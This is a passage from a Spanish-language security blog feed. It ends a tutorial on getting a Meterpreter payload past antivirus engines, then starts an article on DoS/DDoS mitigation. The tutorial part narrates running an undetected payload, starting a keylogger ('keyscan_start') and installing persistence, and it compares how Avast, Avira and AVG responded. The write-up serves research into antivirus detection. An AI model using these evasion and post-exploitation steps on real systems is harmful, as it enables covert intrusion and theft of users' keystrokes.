data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:768,&quot;width&quot;:1366,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;av-bypass-sample09&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="av-bypass-sample09" title="av-bypass-sample09" srcset="https://substackcdn.com/image/fetch/$s_!KFTE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!KFTE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!KFTE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!KFTE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb512bcd3-1b5d-4e87-89ac-70bd9ab7caad_1366x768.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Ahora vamos a hacer la prueba, ejecutando el archivo en nuestro sistema y viendo si podemos obtener shell de meterpreter&#8230;</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4nj1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4nj1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!4nj1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!4nj1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!4nj1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4nj1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png" width="1366" height="768" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:768,&quot;width&quot;:1366,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;sample09-msfconsole&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="sample09-msfconsole" title="sample09-msfconsole" srcset="https://substackcdn.com/image/fetch/$s_!4nj1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!4nj1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!4nj1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!4nj1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67a0ea0b-b581-4ac9-81b2-5947557e22cb_1366x768.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Paso 9: El momento de la verdad (ii)</h2><p>Ya probamos que nuestro archivo no es detectado por ninguno de los motores provistos por VirusTotal. Ahora, debemos verificar lo que se explic&#243; al principio del art&#237;culo, y ver qu&#233; tan id&#233;nticos son los resultados del an&#225;lisis en l&#237;nea comparados con los resultados en una PC con la soluci&#243;n antivirus instalada.</p><p>Para esta prueba, se crearon tres m&#225;quinas virtuales y a cada una de ellas se les instal&#243; un antivirus diferente: Avast, Avira y AVG. En todos los casos, utilizando sus versiones gratuitas.</p><p>Y, en todos los casos, se les di&#243; a las soluciones antimalware la capacidad de analizar el archivo de forma espec&#237;fica (pidiendo que se analice directamente el archivo sample09.exe). Adem&#225;s, se ejecut&#243; el archivo sample09.exe y se verific&#243; que se realizara la conexi&#243;n con msfconsolo a trav&#233;s de meterpreter.</p><p>Adicionalmente, se utiliz&#243; el comando "keyscan_start", para que meterpreter instale el keylogger en el sistema, y se capturaron las teclas que presion&#243; el usario.</p><p>Luego, se ejecut&#243; el comando "run persistence"</p><p>Todo esto se hizo para dar la posibilidad a las soluciones antimalware de detectar, tarde o temprano, la amenaza.</p><p>Como resultado, Avast fue el mejor, detectando como malware el archivo apenas intent&#243; ser copiado al sistema</p><p>Avira y AVG detectaron &#250;nicamente el comando "run persistence", que instal&#243; un archivo .vbs el cual fue descubierto como "sospechoso", pero ya hab&#237;amos entrado al sistema y pod&#237;amos ejecutar comandos. No pudieron darse cuenta del keylogger (keyscan_start). Lo cual es algo preocupante, porque es una detecci&#243;n tard&#237;a y depende de que se ejecute ese comando particular.</p><p>Esto no quiere decir que Avast sea mejor que AVG y Avira, porque se trata de una prueba aislada y muy particular. Lo que s&#237; es interesante remarcar es que los resultados de VirusTotal no siempre son tan exactos. Si Avast pudo detectar el archivo como malicioso estando instalado en la estaci&#243;n de trabajo, pero no lo hizo desde VirusTotal, esto podr&#237;a significar que muchas de las otras soluciones AntiMalware tambi&#233;n detectar&#237;an el archivo si estuvieran instaladas en una PC. Por otro lado, como siempre digo, VirusTotal es una excelente herramienta para hacer un an&#225;lisis estad&#237;stico de que tan "detectable" es un malware.</p><p>Abajo podemos ver las im&#225;genes con los resultados:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!F17b!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!F17b!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!F17b!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!F17b!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!F17b!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!F17b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png" width="1366" height="768" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:768,&quot;width&quot;:1366,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;av-bypass-sample09-avast&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="av-bypass-sample09-avast" title="av-bypass-sample09-avast" srcset="https://substackcdn.com/image/fetch/$s_!F17b!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png 424w, https://substackcdn.com/image/fetch/$s_!F17b!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png 848w, https://substackcdn.com/image/fetch/$s_!F17b!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png 1272w, https://substackcdn.com/image/fetch/$s_!F17b!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5fcde8f5-9f84-40ba-94a5-3a58dfaa2117_1366x768.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Palabras Finales</h2><p>Debemos recordar que estas t&#233;cnicas deben ser utilizadas &#250;nicamente con fines investigativos. VirusTotal comparte todos los archivos que les son enviados con los laboratorios antivirus, por lo que es probable que los &#237;ndices de detecci&#243;n empiecen a subir.</p><p>Espero que as&#237; sea y que las soluciones antimalware sigan evolucionando, para protegernos cada vez mejor. De todos modos, siempre tenemos que tener en cuenta que las soluciones antimalware no pueden ser nuestra &#250;nica medida de defensa. Por sobre todas las cosas, debemos protegernos navegando por internet de forma prudente, manteniendo nuestros sistemas actualizados, y todas esas consideraciones de seguridad tan populares que tantas veces se dejan de lado.</p>]]></content:encoded></item><item><title><![CDATA[Seguridad en Aplicaciones Web (IV)]]></title><description><![CDATA[En el art&#237;culo anterior analizamos la implementaci&#243;n de ModSecurity en Apache y c&#243;mo puede ayudarnos a proteger nuestras aplicaciones web.]]></description><link>https://www.portantier.com/p/seguridad-en-aplicaciones-web-iv</link><guid isPermaLink="false">https://www.portantier.com/p/seguridad-en-aplicaciones-web-iv</guid><dc:creator><![CDATA[Fabian Martinez Portantier]]></dc:creator><pubDate>Wed, 16 Jul 2014 19:55:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Y5ni!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>En el art&#237;culo anterior analizamos la implementaci&#243;n de ModSecurity en Apache y c&#243;mo puede ayudarnos a proteger nuestras aplicaciones web.</p><p>En esta parte, analizaremos tres t&#233;cnicas que podemos utilizar para mitigar los ataque de Denegaci&#243;n de Servicio (DoS) y Denegaci&#243;n de Servicio Distribu&#237;da (DDoS).</p><h2>Caracter&#237;sticas de los DoS y DDoS</h2><p>Ambos tipos de ataque (DoS y DDoS) suelen causar muchos problemas a las infraestructuras inform&#225;ticas actuales, debido a que son relativamente sencillos de lanzar y pueden causar que las aplicaciones dejen de responder o lo hagan de una forma realmente lenta.</p><p>Para realizar estos ataques, lo m&#225;s habitual es que se realicen una cantidad enorme de peticiones a la aplicaci&#243;n al mismo tiempo desde uno (DoS) o varios equips (DDoS).</p><p>Por su naturaleza distribu&#237;da, los ataques DDoS son m&#225;s dif&#237;ciles de bloquear, porque el ataque viene desde varios frentes, aunque las IP que realizan el ataque suelen ser bastante evidentes y, con las herramientas adecuadas, se las puede bloquear.</p><p>Abajo podemos ver un peque&#241;o gr&#225;fico que compara los ataques DoS con los ataques DDoS:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Y5ni!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Y5ni!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png 424w, https://substackcdn.com/image/fetch/$s_!Y5ni!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png 848w, https://substackcdn.com/image/fetch/$s_!Y5ni!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png 1272w, https://substackcdn.com/image/fetch/$s_!Y5ni!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Y5ni!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png" width="587" height="321" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:321,&quot;width&quot;:587,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;dos_vs_ddos&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="dos_vs_ddos" title="dos_vs_ddos" srcset="https://substackcdn.com/image/fetch/$s_!Y5ni!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png 424w, https://substackcdn.com/image/fetch/$s_!Y5ni!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png 848w, https://substackcdn.com/image/fetch/$s_!Y5ni!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png 1272w, https://substackcdn.com/image/fetch/$s_!Y5ni!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdc9dfe53-6317-4e63-b2fc-c3b190e7e6bd_587x321.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>Recursos de Red</h3><p>En el caso de los ataques que consumen todos los recursos de red de una aplicaci&#243;n, no suele ser redituable realizar el filtrado a nivel de servidor, porque, cuando el tr&#225;fico llega al servidor, ya ha ocupado los recursos de red. En esta situaci&#243;n, el filtrado de las peticiones simplemente aliviana el tr&#225;fico que saldr&#237;a del servidor en el caso de que las peticiones no fueran bloqueadas, pero el tr&#225;fico entrante sigue siendo consumido.</p><p>Para estos casos, la &#250;nica protecci&#243;n posible queda en manos de los proveedores de internet (ISP) que deber&#237;an tener tecnolog&#237;as para proteger a sus clientes de este tipo de ataques (aunque la mayor&#237;a no cuentan con estas tecnolog&#237;as)</p><h3>Recursos de Hardware</h3><p>Los ataques que consumen los recursos de hardware pueden tener diferentes m&#233;todos de funcionamiento. Generalmente, pueden abusar de lo siguiente:</p><p><strong>Una aplicaci&#243;n mal programada:</strong> En este caso, el atacante podr&#237;a abusar de ciertas deficiencias de la aplicaci&#243;n, que la har&#237;an consumir una cantidad excesiva de recursos. Para esto, la &#250;nica soluci&#243;n es revisar el c&#243;digo fuente de la aplicaci&#243;n y optimizarlo.</p><p><strong>Una tarea que consume mucha capacidad de c&#243;mputo:</strong> Las tareas de la aplicaci&#243;n que consuman mucha capacidad de c&#243;mputo, deber&#237;an ser preferentemente cacheadas y accesibles &#250;nicamente por usuarios autenticados. Pero esto va a depender del prop&#243;sito de la aplicaci&#243;n.</p><p><strong>Un fallo en el software de servidor:</strong> Ciertos ataques DoS pueden ser completados enviando &#250;nicamente una petici&#243;n especialmente manipulada, que el servidor no puede interpretar correctamente. Para esto, debemos mantener siempre nuestros componentes de software actualizados. En estos casos, un Web Application Firewall tambi&#233;n puede ayudarnos, bloqueando las peticiones "raras".</p><p><strong>Una cantidad enorme de peticiones:</strong> Este caso es el m&#225;s habitual, y se explota enviando una cantidad de peticiones tan grandes que, aunque la aplicaci&#243;n est&#233; optimizada, termina cediendo. Para estos casos ser&#225;n de especial utilidad las medidas de protecci&#243;n que listaremos a continuaci&#243;n.</p><h2>Servidores Distribu&#237;dos</h2><p>Si estamos en presencia de una aplicaci&#243;n que recibe muchas peticiones y requiere unos altos niveles de disponibilidad, es recomendable la implementaci&#243;n de una infraestructura distribu&#237;da, que balancee la carga entre distintos proveedores de servicio y, si es posible, diferentes regiones geogr&#225;ficas. Para esto son muy &#250;tiles los servicios de computaci&#243;n en la nube (como Amazon AWS y RackSpace).</p><p>Aqu&#237;, dependiendo de c&#243;mo est&#233; desarrollada la aplicaci&#243;n, ser&#225; m&#225;s f&#225;cil y m&#225;s dif&#237;cil distribuir la infraestructura. Porque no todas las apliciones soportan nativamente el balanceo de carga. Aunque todas las aplicaciones web modernas deber&#237;an ser desarrolladas pensando en que, alg&#250;n d&#237;a, podr&#237;an ser llevadas a una arquitectura distribu&#237;da.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!h7PC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!h7PC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png 424w, https://substackcdn.com/image/fetch/$s_!h7PC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png 848w, https://substackcdn.com/image/fetch/$s_!h7PC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png 1272w, https://substackcdn.com/image/fetch/$s_!h7PC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!h7PC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png" width="382" height="297" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:297,&quot;width&quot;:382,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;centralizada-vs-distribuida&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="centralizada-vs-distribuida" title="centralizada-vs-distribuida" srcset="https://substackcdn.com/image/fetch/$s_!h7PC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fab129bad-3465-4adc-b188-cbf7a6dabddf_382x297.png 424w, 